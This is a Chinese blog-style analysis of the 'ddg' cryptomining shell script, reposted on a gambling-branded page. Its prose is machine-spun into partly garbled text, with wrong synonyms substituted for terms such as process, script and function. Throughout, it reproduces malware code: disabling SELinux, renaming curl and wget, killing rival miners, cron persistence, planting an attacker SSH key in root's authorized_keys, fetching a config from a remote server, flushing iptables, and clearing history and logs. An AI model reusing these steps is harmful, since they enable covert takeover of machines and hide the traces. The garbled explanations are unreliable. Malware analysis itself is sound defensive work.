搬砖攻略
当前位置: 凯发k8客户端-凯发k8国际娱乐官网入口 > 行业资讯 > 搬砖攻略直到统一的监控javascript接管了这几台电脑,异常情况才得以浮出水面。最后辨认出了多个奇奇怪怪的民主化,辨认出是一种矿机javascript。
浏览下来学习了呵呵,辨认出javascript的编辑者,有着较高的水平。虽然在别人电脑展开矿机行为是不道德的,但掩盖不了javascript编辑者的风骚操作方式。
矿机,是计算机技术界最让人迷惑的行为之一,但它赚钱。据悉,这段javascript名叫 ddg,已经哈氏甲了价值一千多万人民币的虚拟币货币。
本着学习的目的,我稍微分析了呵呵那个神奇的javascript,也算是吸尽它的精华,为我所用。
这事我都没敢告诉老板,因为说了他也不懂,反生事端。不过和大家交流呵呵还是能的,因为你们懂啊。
01
code 1
#!/bin/shjavascript的第一行,看上去是一行注释,但其实并不是。它规定了接下来的javascript,将要采用哪一种 shell 继续执行。
像我平常用的 bash、zsh 等,属于 sh 的超集,那个javascript采用 sh 作为继续执行的 shell,具有更好的可移植性。
02
code 2
setenforce 0 2>dev/null echo selinux=disabled > /etc/sysconfig/selinux 2>/dev/nullsetenforce 是 linux 的 selinux vpn配置指示,继续执行 setenforce 0 表示关闭 selinux vpn。2 代表的是标准严重错误(stderr)的原意。
所以前面,采用重定向符,将指示的严重错误输入定向到 /dev/null 设备中。那个设备是一种虚拟设备,原意是什么都不干。非常适合静悄悄的干坏事。
03
code 3
sync && echo 3 >/proc/sys/vm/drop_cachesjavascript贴心的帮我释放出来了许多内存资源,以便以获取更多的资源展开矿机。
众所周知,linux 系统会随着长时间的运行,会产生很多内存,清理方式是写一种位数到 drop_caches 文档里,那个位数通常为 3。
sync 指示将所有未写的系统缓冲区写到磁盘中,继续执行之后就能放心的释放出来内存了。
04
code 4
crondir=/var/spool/cron/"$user" cont=`cat ${crondir}` ssht=`cat /root/.ssh/authorized_keys` echo 1 > /etc/sysupdates rtdir="/etc/sysupdates" bbdir="/usr/bin/curl" bbdira="/usr/bin/cur" ccdir="/usr/bin/wget" ccdira="/usr/bin/wge" mv /usr/bin/wget /usr/bin/get mv /usr/bin/xget /usr/bin/get mv /usr/bin/get /usr/bin/wge mv /usr/bin/curl /usr/bin/url mv /usr/bin/xurl /usr/bin/url mv /usr/bin/url /usr/bin/cur没错,上面这些句子是完成了许多普通的操作方式。值得注意的是,它把我的许多常用指示,采用 mv 指示给重名了。
这在继续执行指示的时候,就会显得分成功能的蛋疼。这javascript已经更改了计算机的许多文档,属于犯罪的范畴了。
javascript为了复用许多功能,抽象出了很多的表达式。我直接跳到 main 表达式的继续执行,接着看呵呵那个过程。
05
code 5
主要就是 kill_miner_proc 表达式。编码很长,就不全部贴出来了。
kill_miner_proc() { ps auxf|grep -v grep|grep "mine.moneropool.com"|awk {print $2}|xargs kill -9 ... pkill -f biosetjenkins pkill -f loopback ... crontab -r rm -rf /var/spool/cron/*矿机领域是一种相爱相杀的领域。那个方法主要就采用 ps、grep、kill 一套组合,干掉了同行的矿机javascript,接着停掉了同行的 cron javascript,黑吃黑的感觉。
在这段javascript里,采用了 pkill 指示。那个指示会终止民主化,并按终端号踢出使用者,比较暴力。
06
code 6
接下来继续执行的是 kill_sus_proc 表达式。
ps axf -o "pid"|while read procid do ... doneps 加上 o 变量,能指定要输入的列,在这里只输入的民主化的 pid,接着采用 read 表达式,对 procid 展开结点操作方式。
07
code 7
ls -l /proc/$procid/exe | grep /tmp if [ $? -ne 1 ] then ... fi上面是结点操作方式过程了,我能看到 if 句子的语法。其中 $? 指的是上一种指示的退出状态。
0 表示没有严重错误,其他任何值表明有严重错误。-ne 是不等于的原意,原意是能够匹配到 tmp 那个codice。
08
code 8
ps axf -o "pid %cpu" | awk {if($2>=40.0) print $1} | while read procid do ... done呵呵,上面又来了一次循环结点。不过这次针对的目标,是 cpu 采用超过 40% 的民主化。这就有点狠了:影响我矿机的民主化,都得死!相煎何太急。
09
code 9
再接下来,javascript针对不同的使用者特性,展开了不同的操作方式。
主要就是 root 使用者。通过判断是否存在 $rtdir 文档,来确定是否是 root 权限。
chattr -i /etc/sysupdate* chattr -i /etc/config.json* chattr -i /etc/update.sh* chattr -i /root/.ssh/authorized_keys* chattr -i /etc/networkservice采用 chattr 指示,把许多重要的文档,搞成不能任意改动的只读特性,也是够损的。接着,操作方式 cron 程序,把javascript的更新服务加入到不定期中。
是上面这段javascript。
10
code 10
if [ ! -f "/usr/bin/crontab" ] then echo "*/30 * * * * sh /etc/update.sh >/dev/null 2>&1" >> ${crondir} else [[ $cont =~ "update.sh" ]] || (crontab -l ; echo "*/30 * * * * sh /etc/update.sh >/dev/null 2>&1") | crontab - fi注意 [[ $cont =~ "update.sh" ]] 这以小段编码,诡异的很。[[ ]] 是 shell 中内置的一种指示,支持codice的模式匹配。
采用 =~ 的时候,甚至支持 shell 的正则表达式,强大的令人发指。它的输入结果是一种 bool 类型,所以能够采用||展开拼接。
而前面的单特雷吉耶县 (),是的是一种指示组,括号中多个指示之间用王劝隔开,最后一种指示能没有王劝;和 `cmd` 的效果基本是一样的。
11
code 11
搞完了不定期任务,就要配置 ssh 自动登录了,通过把公钥追加到信任列表中就能。
chmod 700 /root/.ssh/ echo >> /root/.ssh/authorized_keys chmod 600 root/.ssh/authorized_keys echo "ssh-rsa aaaab3nzac1yc2eaaaadaqabaaabaqc9wkij7yq6hcafmwzdmv1rkxpdji/ oexuwdnw1mrwiqnvkesessdz6nayvqfsjgxusgiqbktto8fhv43r9fwdvvhsrwpofbz9safgo06jc0m2kgvns9j2sljdub9u1kxy5iozqg4qtgz6lp2uuwlg7tgmpkbk7z6g8hazx7u3l5 vc82dkti0zb/ohysbb7pk/2qfeva22l 4idrexmlv3movyh5dwch3hchjtdprahfqgvyfzbsrzbqvlrpfsxxh2bolc1pmrk1og8dyk8gy8m4izfr9zdgxs4gaqdwtbqnin8cvz4si jv9fvaymh7f kl2yxihn5od9bvtkdiwx root@u17" >> /root/.ssh/authorized_keys12
code 12
说曹操曹操就到,上面的javascript就采用了 `` 展开操作方式。
filesize_config=`ls -l /etc/config.json | awk { print $5 }` if [ "$filesize_config" -ne "$config_size" ] then pkill -f sysupdate rm /etc/config.json downloads $config_url /etc/config.json $config_url_backup else echo "no need download" fi通过一系列骚操作方式,以获取到配置文档的大小,如果判断文档大小不一致,那么就重新浏览一种。这付录了 downloads 表达式。
shell 中的表达式,看上去比较诡异,前面的变量传达,就像是javascript传达一样,传送给表达式。
13
code 13
downloads $config_url /etc/config.json $config_url_backup这句话,就传达了三个变量。当然,文档要从遥远的服务器上浏览。icann是 .de 结尾的,证明是个德国的icann,其他的我一无所知。
downloads() { if [ -f "/usr/bin/curl" ] then echo $1,$2 http_code=`curl -i -m 10 -o /dev/null -s -w %{http_code} $1` if [ "$http_code" -eq "200" ] then curl --connect-timeout 10 --retry 100 $1 > $2 elif [ "$http_code" -eq "405" ] then curl --connect-timeout 10 --retry 100 $1 > $2 else curl --connect-timeout 10 --retry 100 $3 > $2 fi elif [ -f "/usr/bin/cur" ] then http_code = `cur -i -m 10 -o /dev/null -s -w %{http_code} $1` if [ "$http_code" -eq "200" ] then cur --connect-timeout 10 --retry 100 $1 > $2 elif [ "$http_code" -eq "405" ] then cur --connect-timeout 10 --retry 100 $1 > $2 else cur --connect-timeout 10 --retry 100 $3 > $2 fi elif [ -f "/usr/bin/wget" ] then wget --timeout=10 --tries=100 -o $2 $1 if [ $? -ne 0 ] then wget --timeout=10 --tries=100 -o $2 $3 fi elif [ -f "/usr/bin/wge" ] then wge --timeout=10 --tries=100 -o $2 $1 if [ $? -eq 0 ] then wge --timeout=10 --tries=100 -o $2 $3 fi fi }我认为,这段编码作者写的又臭又长,完全没有体现出自己应有的水平。应该是赶工期,没有想好编码的复用,才会写的这么有失水准。
我上面说到,javascript改了几个指示的名字,其中就有 curl。那个指示是如此的强大,以至于javascript的作者都忍不住加了不少变量:
-i:用来测试 http 头信息。-m:设置最大传输时间。-o:指定保持的文档名。这里是 /dev/null,呃呃呃......-s:静默模式,不输入任何东西。--connect-timeout:连接超时时间。--retry:重试次数,好狠,100 次。如果没有 curl?那就采用替补的 wget,套路都是一样的。
14
code 14
接下来是一系列相似的操作方式,最后,对 iptables 一批操作方式。
iptables -f iptables -x iptables -a output -p tcp --dport 3333 -j drop iptables -a output -p tcp --dport 5555 -j drop iptables -a output -p tcp --dport 7777 -j drop iptables -a output -p tcp --dport 9999 -j drop iptables -i input -s 43.245.222.57 -j drop service iptables reload15
code 15
细心的javascript编辑者,还采用指示清理了操作方式日志。
history -c echo > /var/spool/mail/root echo > /var/log/wtmp echo > /var/log/secure echo > /root/.bash_history不露死角,潇洒走开。能看到,且不说真正的矿机程序,仅仅是那个小javascript,作者也下足了功夫。
javascript里指示繁多,采用方式多样,缩紧格式优雅,除了有一点啰嗦,没有加密之外,是一种非常好的拿来学习的javascript。
瞧了瞧被控制的电脑,我赶紧偷偷的重装了电脑。就当它是一种梦吧。老板问起的时候,什么都没有发生过。